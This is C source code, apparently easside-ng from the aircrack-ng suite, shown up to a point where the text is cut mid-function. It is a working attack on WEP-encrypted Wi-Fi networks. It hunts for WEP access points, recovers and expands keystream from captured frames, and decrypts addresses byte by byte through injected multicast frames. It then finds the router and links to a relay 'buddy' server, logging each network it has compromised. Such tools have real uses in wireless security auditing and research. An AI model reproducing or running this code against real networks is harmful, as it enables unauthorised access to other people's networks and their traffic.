/* * Copyright (c) 2007, 2008, Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define __FAVOR_BSD #include #undef __FAVOR_BSD #include "osdep/osdep.h" #include "ieee80211.h" #include "easside.h" #include "if_arp.h" #include "ethernet.h" #include "version.h" /* XXX assuming little endian platform */ #ifndef htole16 #define htole16(n) n #endif #ifndef htole32 #define htole32(n) n #endif #ifndef le16toh #define le16toh(n) n #endif #define S_MTU 1500 #define S_MCAST "\x01\x00\x5e\x01\x00" #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_PRGA_LOG "prga.log" #define S_OWN_LOG "own.log" #define S_MIN_RTO 10 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); enum { S_SEARCHING = 0, S_SENDAUTH, S_SENDASSOC, S_ASSOCIATED }; enum { AS_NOPRGA = 0, AS_PRGA_EXPAND, AS_FIND_IP, AS_DECRYPT_ARP, AS_DECRYPT_IP, AS_FIND_RTR_MAC, AS_CHECK_INET, AS_REDIRECT }; struct rpacket { unsigned char rp_packet[2048]; int rp_len; int rp_id; struct rpacket *rp_next; }; struct owned { unsigned char ow_mac[6]; struct owned *ow_next; }; struct east_state { /* conf & params */ char es_ifname[256]; unsigned char es_mymac[6]; int es_setmac; int es_iponly; struct wif *es_wi; char es_tapname[16]; struct tif *es_ti; unsigned int es_hopfreq; int es_txto_mgt; int es_txto_expand; int es_expand_factor; int es_txto_decrypt; int es_port; int es_udp_port; int es_txto_whohas; int es_txto_checkinet; int es_txto_redirect; unsigned char es_clear[S_MTU+4]; struct rpacket *es_rqueue; struct owned *es_owned; int es_chanlock; /* state */ unsigned char es_apmac[6]; int es_apchan; char es_apssid[256]; int es_state; struct timeval es_lasthop; int es_txseq; struct timeval es_txlast; unsigned char es_prga[S_MTU+4]; unsigned char *es_clearp; unsigned char *es_clearpnext; int es_prgalen; unsigned char es_iv[3]; int es_expand_num; int es_expand_len; int es_txack; unsigned char es_prga_d[S_MTU+4]; int es_prga_dlen; unsigned char es_prga_div[3]; unsigned char es_packet[2048]; int es_have_packet; int es_have_src; unsigned char es_packet_arp[2048]; int es_have_arp; struct in_addr es_myip; struct in_addr es_rtrip; struct in_addr es_pubip; unsigned char es_rtrmac[6]; struct in_addr es_srvip; int es_buddys; unsigned short es_rpacket_id; struct timeval es_rtt; unsigned short es_rtt_id; int es_srtt; int es_rxseq; int es_astate; }; static struct east_state _es; void printf_time(char *fmt, ...) { va_list ap; struct timeval now; time_t t; struct tm *tm; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); t = time(NULL); if (t == (time_t)-1) err(1, "time()"); tm = localtime(&t); if (!tm) err(1, "localtime()"); printf("[%.2d:%.2d:%.2d.%.6lu] ", tm->tm_hour, tm->tm_min, tm->tm_sec, (long unsigned int)now.tv_usec); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } void hexdump(void *x, int len) { unsigned char *p = x; while (len--) printf("%.2X ", *p++); printf("\n"); } void mac2str(char *str, unsigned char* m, int macsize) { snprintf(str, macsize, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", m[0], m[1], m[2], m[3], m[4], m[5]); } int str2mac(unsigned char *mac, char *str) { unsigned int macf[6]; int i; if (sscanf(str, "%x:%x:%x:%x:%x:%x", &macf[0], &macf[1], &macf[2], &macf[3], &macf[4], &macf[5]) != 6) return -1; for (i = 0; i < 6; i++) *mac++ = (char) macf[i]; return 0; } void init_defaults(struct east_state *es) { memset(es, 0, sizeof(*es)); memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6); es->es_setmac = 0; strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname)-1); es->es_state = S_SEARCHING; es->es_hopfreq = 100; /* ms */ es->es_txto_mgt = 100; /* ms */ es->es_txto_expand = 100; es->es_expand_factor = 3; memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8); es->es_clearpnext = es->es_clearp = es->es_clear; es->es_txto_decrypt = 10; es->es_txto_whohas = 500; es->es_txto_checkinet = 2000; es->es_txto_redirect = 2000; es->es_port = S_DEFAULT_PORT; es->es_udp_port = S_DEFAULT_UDP_PORT; } void reset(struct east_state *es) { int sz; void *ptr; struct rpacket *p; struct owned *ow; FILE *f; char mac[18]; /* close buddy */ close(es->es_buddys); es->es_buddys = 0; /* reset state */ ptr = es->es_apmac; sz = sizeof(*es) - ((unsigned long)ptr - (unsigned long)es); memset(ptr, 0, sz); /* fixup state */ es->es_clearpnext = es->es_clearp = es->es_clear; p = es->es_rqueue; while (p) { p->rp_len = 0; p = p->rp_next; } /* log ownage */ ow = malloc(sizeof(*ow)); if (!ow) err(1, "malloc()"); memset(ow, 0, sizeof(*ow)); memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac)); ow->ow_next = es->es_owned; es->es_owned = ow; f = fopen(S_OWN_LOG, "a"); if (!f) err(1, "fopen()"); mac2str(mac, es->es_apmac, sizeof(mac)); fprintf(f, "%s %d %s %s\n", mac, es->es_apchan, es->es_apssid, inet_ntoa(es->es_pubip)); fclose(f); /* start over */ es->es_state = S_SEARCHING; printf_time("Restarting"); } /********** RIPPED ************/ unsigned short in_cksum (unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /************** ************/ void open_wifi(struct east_state *es) { struct wif *wi; wi = wi_open(es->es_ifname); if (!wi) err(1, "wi_open()"); assert(es->es_wi == NULL); es->es_wi = wi; } void open_tap(struct east_state *es) { struct tif *ti; char *iface = NULL; if (es->es_tapname[0]) iface = es->es_tapname; ti = ti_open(iface); if (!ti) err(1, "ti_open()"); strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1); es->es_tapname[sizeof(es->es_tapname) - 1] = 0; printf("Setting tap MTU\n"); if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()"); es->es_ti = ti; } void set_mac(struct east_state *es) { printf("Sorting out wifi MAC\n"); if (!es->es_setmac) { char mac[18]; if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()"); mac2str(mac, es->es_mymac, sizeof(mac)); printf("MAC is %s\n", mac); } else if (wi_set_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_set_mac()"); printf("Setting tap MAC\n"); if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()"); } void set_tap_ip(struct east_state *es) { if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()"); } void die(char *m) { struct east_state *es = &_es; printf("Dying: %s\n", m); if (es->es_wi) wi_close(es->es_wi); if (es->es_ti) ti_close(es->es_ti); exit(0); } void sighand(int sig) { if (sig) {} /* XXX unused */ die("signal"); } void set_chan(struct east_state *es) { int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan; if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel"); } void clear_timeout(struct east_state *es) { memset(&es->es_txlast, 0, sizeof(es->es_txlast)); } void read_beacon(struct east_state *es, struct ieee80211_frame *wh, int len) { ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh+1); u_int16_t capa; int bhlen = 12; int got_ssid = 0, got_channel = 0; struct owned *own = es->es_owned; len -= sizeof(*wh) + bhlen; if (len < 0) { printf("Short beacon %d\n", len); return; } if (es->es_state != S_SEARCHING) return; /* only wep */ capa = IEEE80211_BEACON_CAPABILITY(b); if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS))) return; /* lookin for a specific dude */ if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0) { if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return; } /* check if we already owned him */ while (own) { if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return; own = own->ow_next; } /* SSID and channel */ b += bhlen; while (len > 1) { unsigned char ie_len = b[1]; len -= 2 + ie_len; if (len < 0) { printf("Short IE %d %d\n", len, ie_len); return; } switch (b[0]) { case IEEE80211_ELEMID_SSID: if (!got_ssid) { strncpy(es->es_apssid, (char*) &b[2], ie_len); es->es_apssid[ie_len] = 0; if (strlen(es->es_apssid)) got_ssid = 1; } break; case IEEE80211_ELEMID_DSPARMS: if (!got_channel) got_channel = b[2]; break; } if (got_ssid && got_channel) { char str[18]; memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac)); es->es_apchan = got_channel; es->es_state = S_SENDAUTH; mac2str(str, es->es_apmac, sizeof(str)); printf("\nSSID %s Chan %d Mac %s\n", es->es_apssid, es->es_apchan, str); if (!es->es_chanlock) set_chan(es); return; } b += 2 + ie_len; } } int for_me_and_from_ap(struct east_state *es, struct ieee80211_frame *wh) { if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return 0; if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return 0; return 1; } void read_auth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDAUTH) return; if (!for_me_and_from_ap(es, wh)) return; if (le16toh(*sp) != 0) { printf("weird auth algo: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 2) { printf("weird auth transno: %d\n", le16toh(*sp)); return; } sp++; if (le16toh(*sp) != 0) { printf("Auth unsuccesful %d\n", le16toh(*sp)); exit(1); } printf("Authenticated\n"); es->es_state = S_SENDASSOC; } int is_dup(struct east_state *es, struct ieee80211_frame *wh) { unsigned short *sn = (unsigned short*) &wh->i_seq[0]; unsigned short s; s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (s == es->es_rxseq) return 1; es->es_rxseq = s; return 0; } void read_deauth(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Deauth: %d\n", le16toh(*sp)); es->es_state = S_SENDAUTH; } void read_disassoc(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; printf("Disassoc: %d\n", le16toh(*sp)); es->es_state = S_SENDASSOC; } void read_assoc_resp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned short *sp = (unsigned short*) (wh+1); if (len) {} /* XXX unused */ if (es->es_state != S_SENDASSOC) return; if (!for_me_and_from_ap(es, wh)) return; sp++; /* capa */ /* sc */ if (le16toh(*sp) != 0) { printf("Assoc unsuccessful %d\n", le16toh(*sp)); exit(1); } sp++; printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp))); es->es_state = S_ASSOCIATED; es->es_txack = 0; es->es_expand_num = -1; } void read_mgt(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len < (int) sizeof(*wh)) { printf("Short mgt %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_BEACON: case IEEE80211_FC0_SUBTYPE_PROBE_RESP: read_beacon(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_AUTH: read_auth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_PROBE_REQ: case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: break; case IEEE80211_FC0_SUBTYPE_DEAUTH: read_deauth(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_DISASSOC: read_disassoc(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: read_assoc_resp(es, wh, len); break; default: printf("Unknown mgmt subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } void read_ack(struct east_state *es, struct ieee80211_frame *wh, int len) { if (len) {} /* XXX unused */ if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return; es->es_txack = 1; // printf("Ack\n"); } void read_ctl(struct east_state *es, struct ieee80211_frame *wh, int len) { switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ACK: read_ack(es, wh, len); break; case IEEE80211_FC0_SUBTYPE_RTS: case IEEE80211_FC0_SUBTYPE_CTS: case IEEE80211_FC0_SUBTYPE_PS_POLL: case IEEE80211_FC0_SUBTYPE_CF_END: break; default: printf("Unknown ctl subtype %x\n", wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK); break; } } int our_network(struct east_state *es, struct ieee80211_frame *wh) { void *bssid = (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1; return memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0; } void xor(void *out, void *clear, void *cipher, int len) { unsigned char *cl = (unsigned char*) clear; unsigned char *ci = (unsigned char*) cipher; unsigned char *o = (unsigned char*) out; while (len--) *o++ = *cl++ ^ *ci++; } void save_prga(struct east_state *es) { int fd, rc; assert(es->es_prgalen <= (int) sizeof(es->es_prga)); printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]", es->es_prgalen, es->es_iv[0], es->es_iv[1], es->es_iv[2]); #if 0 printf(": "); for (i = 0; i < es->es_prgalen; i++) printf("%.2X ", es->es_prga[i]); #endif printf("\n"); fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644); if (fd == -1) err(1, "save_prga: open()"); rc = write(fd, es->es_iv, 3); if (rc != 3) { printf("save_prga: can't write IV\n"); exit(1); } rc = write(fd, es->es_prga, es->es_prgalen); if (rc != es->es_prgalen) { printf("save_prga: can't write PRGA\n"); exit(1); } close(fd); } int is_arp(struct ieee80211_frame *wh, int len) { int arpsize = 8 + sizeof(struct arphdr) + 10*2; if (wh) {} /* XXX unused */ if (len == arpsize || len == 54) return 1; return 0; } void *get_sa(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr3; else return wh->i_addr2; } void *get_da(struct ieee80211_frame *wh) { if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr1; else return wh->i_addr3; } int known_clear(void *clear, struct ieee80211_frame *wh, int len) { unsigned char *ptr = clear; /* IP */ if (!is_arp(wh, len)) { unsigned short iplen = htons(len - 8); printf("Assuming IP %d\n", len); len = sizeof(S_LLC_SNAP_IP) - 1; memcpy(ptr, S_LLC_SNAP_IP, len); ptr += len; #if 1 len = 2; memcpy(ptr, "\x45\x00", len); ptr += len; memcpy(ptr, &iplen, len); ptr += len; #endif len = ptr - ((unsigned char*)clear); return len; } printf("Assuming ARP %d\n", len); /* arp */ len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, get_sa(wh), len); ptr += len; len = ptr - ((unsigned char*)clear); return len; } void base_prga(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ct[1024]; unsigned char *data = (unsigned char*) (wh+1); int prgalen; memcpy(es->es_iv, data, 3); data += 4; len -= 4 + 4; /* IV & CRC */ if (len <= 0) { printf("base_prga: lame len %d\n", len); return; } prgalen = known_clear(ct, wh, len); xor(es->es_prga, ct, data, prgalen); es->es_prgalen = prgalen; save_prga(es); } unsigned int get_crc32(void *data, int len) { uLong crc; crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, data, len); return crc; } void check_expand(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; unsigned long crc; unsigned char *data = (unsigned char*) (wh+1); if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return; if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return; if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return; if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return; elen = es->es_expand_len; if (elen != (len-4)) return; if (elen <= es->es_prgalen) return; /* iv */ memcpy(es->es_iv, data, 3); data += 4; elen -= 4; /* payload */ assert(elen <= (int) sizeof(es->es_clear)); es->es_prgalen = elen + 4; xor(es->es_prga, es->es_clear, data, elen); /* crc */ crc = htole32(get_crc32(es->es_clear, elen)); xor(&es->es_prga[elen], &crc, data + elen, 4); save_prga(es); if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; } int to_me(struct east_state *es, struct ieee80211_frame *wh) { return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && memcmp(es->es_mymac, get_da(wh), 6) == 0; } int from_me(struct east_state *es, struct ieee80211_frame *wh) { return memcmp(es->es_mymac, get_sa(wh), 6) == 0; } int check_decrypt(struct east_state *es, struct ieee80211_frame *wh, int len) { int elen; if (!from_me(es, wh)) return 0; if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return 0; elen = es->es_prga_dlen + 1; if (elen != (len - 4)) return 0; es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5]; #if 0 printf("\nPrga byte %d is %.2X\n", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); #endif es->es_prga_dlen++; assert(es->es_prga_dlen <= (int) sizeof(es->es_prga_d)); return 1; } void decrypt_ip_addr(struct east_state *es, void *dst, int *len, void *cipher, int off) { unsigned char *c = cipher; *len = es->es_prga_dlen - off; if (*len > 4) *len = 4; assert(*len > 0); xor(dst, c + off, es->es_prga_d + off, *len); } void found_net_addr(struct east_state *es, unsigned char *a) { unsigned char ip[4]; memcpy(ip, a, 3); if (!ip[0]) { printf("Shit, prolly got a lame dhcp dude\n"); exit(1); } ip[3] = 123; memcpy(&es->es_myip, ip, 4); printf("My IP %s\n", inet_ntoa(es->es_myip)); set_tap_ip(es); ip[3] = 1; memcpy(&es->es_rtrip, ip, 4); printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip)); es->es_astate = AS_FIND_RTR_MAC; } void check_decrypt_arp(struct east_state *es, struct ieee80211_frame *wh, int len) { unsigned char ip[4]; int iplen; int off = 8 + sizeof(struct arphdr) + 6; unsigned char *data; int i; if (!check_decrypt(es, wh, len)) return; iplen = es->es_prga_dlen - off; assert(iplen > 0 && iplen <= (int) sizeof(ip)); data = (unsigned char*)(((struct ieee80211_frame*)es->es_packet_arp)+1); data += + 4 + off; xor(ip, data, &es->es_prga_d[off], iplen); printf("\nARP IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if ((i+1) < iplen) printf("."); } printf("\n"); if (iplen == 3) found_net_addr(es, ip); } void check_decrypt_ip(struct east_state *es, struct ieee80211_frame *wh, int len) { int off_ip = 8; int off_id = off_ip + 4; int off_ttl = off_id + 4; int off_p = off_ttl + 1; int off_check = off_p + 1; int off_s_addr = off_check + 2; int off_d_addr = off_s_addr + 4; unsigned char *data = es->es_packet + sizeof(*wh) + 4; if (!check_decrypt(es, wh, len)) return; if (es->es_prga_dlen == (off_id+2)) { #if 0 unsigned char *c = data + off_id + 2; #endif printf("\nGot IP ID\n"); #if 0 xor(&es->es_prga_d[es->es_prga_dlen], c, "\x00\x00", 2); es->es_prga_dlen += 2; es->es_prga_d[es->es_prga_dlen] = 0; #endif } else if (es->es_prga_dlen == (off_ttl+1)) { printf("\nGot IP TTL\n"); } else if (es->es_prga_dlen == (off_p+1)) { unsigned char *c = data + off_p; int p = (*c) ^ es->es_prga_d[es->es_prga_dlen-1]; char *str = NULL; switch (p) { case IPPROTO_ICMP: str = "icmp"; break; case IPPROTO_UDP: str = "udp"; break; case IPPROTO_TCP: str = "tcp"; break; default: str = "unknown"; break; } printf("\nGot proto %s\n", str); } else if (es->es_prga_dlen == (off_check+2)) { printf("\nGot checksum [could use to help bforce addr]\n"); } else if ((es->es_prga_dlen >= off_s_addr) && (es->es_prga_dlen <= (off_s_addr+4))) { unsigned char ip[4]; int iplen; int i; decrypt_ip_addr(es, ip, &iplen, data, off_s_addr); printf("\nSource IP so far: "); for (i = 0; i < iplen; i++) { printf("%d", ip[i]); if (i+1 < iplen) printf("."); } printf("\n"); if (es->es_have_src && iplen == 3) found_net_addr(es, ip); } else if ((es->es_prga_dlen >= off_d_addr) && (es->es_prga_dlen <= (off_d_addr+4))) { unsigned char dip[4]; struct in_addr sip; int iplen; int i; decrypt_ip_addr(es, &sip, &i, data, off_s_addr); decrypt_ip_addr(es, dip, &iplen, data, off_d_addr); printf("\nIPs so far %s->", inet_ntoa(sip)); for (i = 0; i < iplen; i++) { printf("%d", dip[i]); if (i+1 < iplen) printf("."); } printf("\n"); assert(!es->es_have_src); if (iplen == 3) found_net_addr(es, dip); } else if (es->es_prga_dlen > off_d_addr) abort(); } void setup_internet(struct east_state *es) { struct sockaddr_in s_in; char buf[16]; es->es_astate = AS_CHECK_INET; clear_timeout(es); printf("Trying to connect to buddy: %s:%d\n", inet_ntoa(es->es_srvip), es->es_port); assert(es->es_buddys == 0); es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (es->es_buddys == -1) err(1, "setup_internet: socket()"); memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr = es->es_srvip; s_in.sin_port = htons(es->es_port); if (connect(es->es_buddys, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) err(1, "setup_internet: connect()"); printf("Connected\n"); /* handshake */ if (send(es->es_buddys, "sorbo", 5, 0) != 5) err(1, "setup_internet: send()"); if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()"); if (memcmp(buf, "sorbox", 6) != 0) { printf("setup_internet: handshake failed"); exit(1); } printf("Handshake compl33t\n"); } void check_rtr_mac(struct east_state *es, struct ieee80211_frame *wh, int len) { void *sa; char str[18]; if (!to_me(es, wh)) return; if (!is_arp(wh, len-4-4)) return; sa = get_sa(wh); memcpy(es->es_rtrmac, sa, 6); mac2str(str, es->es_rtrmac, sizeof(str)); printf("Rtr MAC %s\n", str); setup_internet(es); } struct rpacket *get_slot(struct east_state *es) { struct rpacket *slot = es->es_rqueue; struct rpacket *p = es->es_rqueue; /* try to recycle */ while (slot) { if (!slot->rp_len) return slot; slot = slot->rp_next; } slot = malloc(sizeof(*slot)); if (!slot) err(1, "get_slot: malloc()"); memset(slot, 0, sizeof(*slot)); if (!p) es->es_rqueue = slot; else { while (p->rp_next) p = p->rp_next; p->rp_next = slot; } return slot; } struct rpacket *get_head(struct east_state *es) { struct rpacket *rp = es->es_rqueue; if (!rp) return NULL; if (!rp->rp_len) return NULL; return rp; } struct rpacket *get_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; while (rp) { if (!rp->rp_len) return NULL; if (rp->rp_id == id) return rp; rp = rp->rp_next; } return NULL; } void remove_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; struct rpacket **prevn; struct rpacket *p; assert(rp); prevn = &es->es_rqueue; /* find and remove */ while (rp) { if (rp->rp_id == id) { rp->rp_len = 0; *prevn = rp->rp_next; break; } prevn = &rp->rp_next; rp = rp->rp_next; } assert(rp); /* only one element */ p = es->es_rqueue; if (!p) { es->es_rqueue = rp; assert(!rp->rp_next); return; } while (p) { if (!p->rp_len) { rp->rp_next = p->rp_next; p->rp_next = rp; return; } prevn = &p->rp_next; p = p->rp_next; } /* last elem */ rp->rp_next = NULL; *prevn = rp; } int queue_len(struct east_state *es) { int len = 0; struct rpacket *slot = es->es_rqueue; while (slot) { if (!slot->rp_len) break; len++; slot = slot->rp_next; } return len; } void redirect_enque(struct east_state *es, struct ieee80211_frame *wh, int len) { char s[18]; char d[18]; struct rpacket *slot; slot = get_slot(es); slot->rp_len = len; assert(slot->rp_len <= (int) sizeof(slot->rp_packet)); memcpy(slot->rp_packet, wh, slot->rp_len); es->es_rpacket_id++; slot->rp_id = es->es_rpacket_id; mac2str(s, get_sa(wh), sizeof(s)); mac2str(d, get_da(wh), sizeof(d)); printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n", slot->rp_id, s, d, len - sizeof(*wh) - 4- 4, queue_len(es)); } void check_redirect(struct east_state *es, struct ieee80211_frame *wh, int len) { if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; redirect_enque(es, wh, sizeof(*wh) + len); } void read_data(struct east_state *es, struct ieee80211_frame *wh, int len) { if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != IEEE80211_FC0_SUBTYPE_DATA) return; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return; if (!our_network(es, wh)) return; if (!from_me(es, wh)) { if (!es->es_have_packet || (es->es_astate <= AS_FIND_IP && !es->es_have_src)) { assert((int) sizeof(es->es_packet) >= len); memcpy(es->es_packet, wh, len); es->es_have_packet = len; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1; if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0) es->es_have_src = 1; } if (!es->es_have_arp && is_arp(wh, len-sizeof(*wh)-4-4)) { memcpy(es->es_packet_arp, wh, len); es->es_have_arp = len; if (es->es_astate == AS_DECRYPT_IP) { printf("\nPreempting to ARP decryption\n"); es->es_astate = AS_FIND_IP; } } } len -= sizeof(*wh); switch (es->es_astate) { case AS_NOPRGA: base_prga(es, wh, len); es->es_astate = AS_PRGA_EXPAND; break; case AS_PRGA_EXPAND: check_expand(es, wh, len); break; case AS_FIND_IP: break; case AS_DECRYPT_ARP: check_decrypt_arp(es, wh, len); break; case AS_DECRYPT_IP: check_decrypt_ip(es, wh, len); break; case AS_FIND_RTR_MAC: check_rtr_mac(es, wh, len); break; case AS_CHECK_INET: break; case AS_REDIRECT: check_redirect(es, wh, len); break; default: abort(); break; } } void read_wifi(struct east_state *es) { unsigned char buf[4096]; int len; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; len = wi_read(es->es_wi, buf, sizeof(buf), NULL); if (len == -1) err(1, "wi_read()"); /* XXX: I don't do any length chex */ if (len < 2) { printf("Short packet %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: read_mgt(es, wh, len); break; case IEEE80211_FC0_TYPE_CTL: read_ctl(es, wh, len); break; case IEEE80211_FC0_TYPE_DATA: read_data(es, wh, len); break; default: printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK); break; } } unsigned int msec_diff(struct timeval *after, struct timeval *before) { unsigned int diff; assert(after->tv_sec >= before->tv_sec); if (after->tv_sec > before->tv_sec) { unsigned int usec; diff = (after->tv_sec - before->tv_sec - 1) * 1000; usec = 1000*1000 - before->tv_usec; usec += after->tv_usec; diff += usec/1000; } else /* after->tv_sec == before->tv_sec */ diff = (after->tv_usec - before->tv_usec)/1000; return diff; } void msec_to_tv(int msec, struct timeval *tv) { tv->tv_sec = msec/1000; tv->tv_usec = (msec - tv->tv_sec*1000)*1000; } void chan_hop(struct east_state *es, struct timeval *tv) { struct timeval now; unsigned int elapsed; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, &es->es_lasthop); /* hop */ if (elapsed >= es->es_hopfreq) { es->es_apchan++; if (es->es_apchan > 12) es->es_apchan = 1; es->es_lasthop = now; set_chan(es); printf("Chan %.2d\r", es->es_apchan); fflush(stdout); msec_to_tv(es->es_hopfreq, tv); } else msec_to_tv(es->es_hopfreq - elapsed, tv); } unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; assert(fn < 16); r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return r; } void fill_basic(struct east_state *es, struct ieee80211_frame *wh) { unsigned short* sp; /* macs */ memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3)); /* duration */ sp = (unsigned short*) wh->i_dur; // *sp = htole16(32767); *sp = htole16(0); /* seq */ sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, es->es_txseq); } void send_frame(struct east_state *es, void *buf, int len) { int rc; rc = wi_write(es->es_wi, buf, len, NULL); if(rc == -1) err(1, "wi_write()"); if (rc != len) { printf("Error Wrote %d out of %d\n", rc, len); exit(1); } if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()"); } int too_early(struct timeval *tv, int to, struct timeval *last_sent) { struct timeval now; unsigned int elapsed; /* check if timeout expired */ if 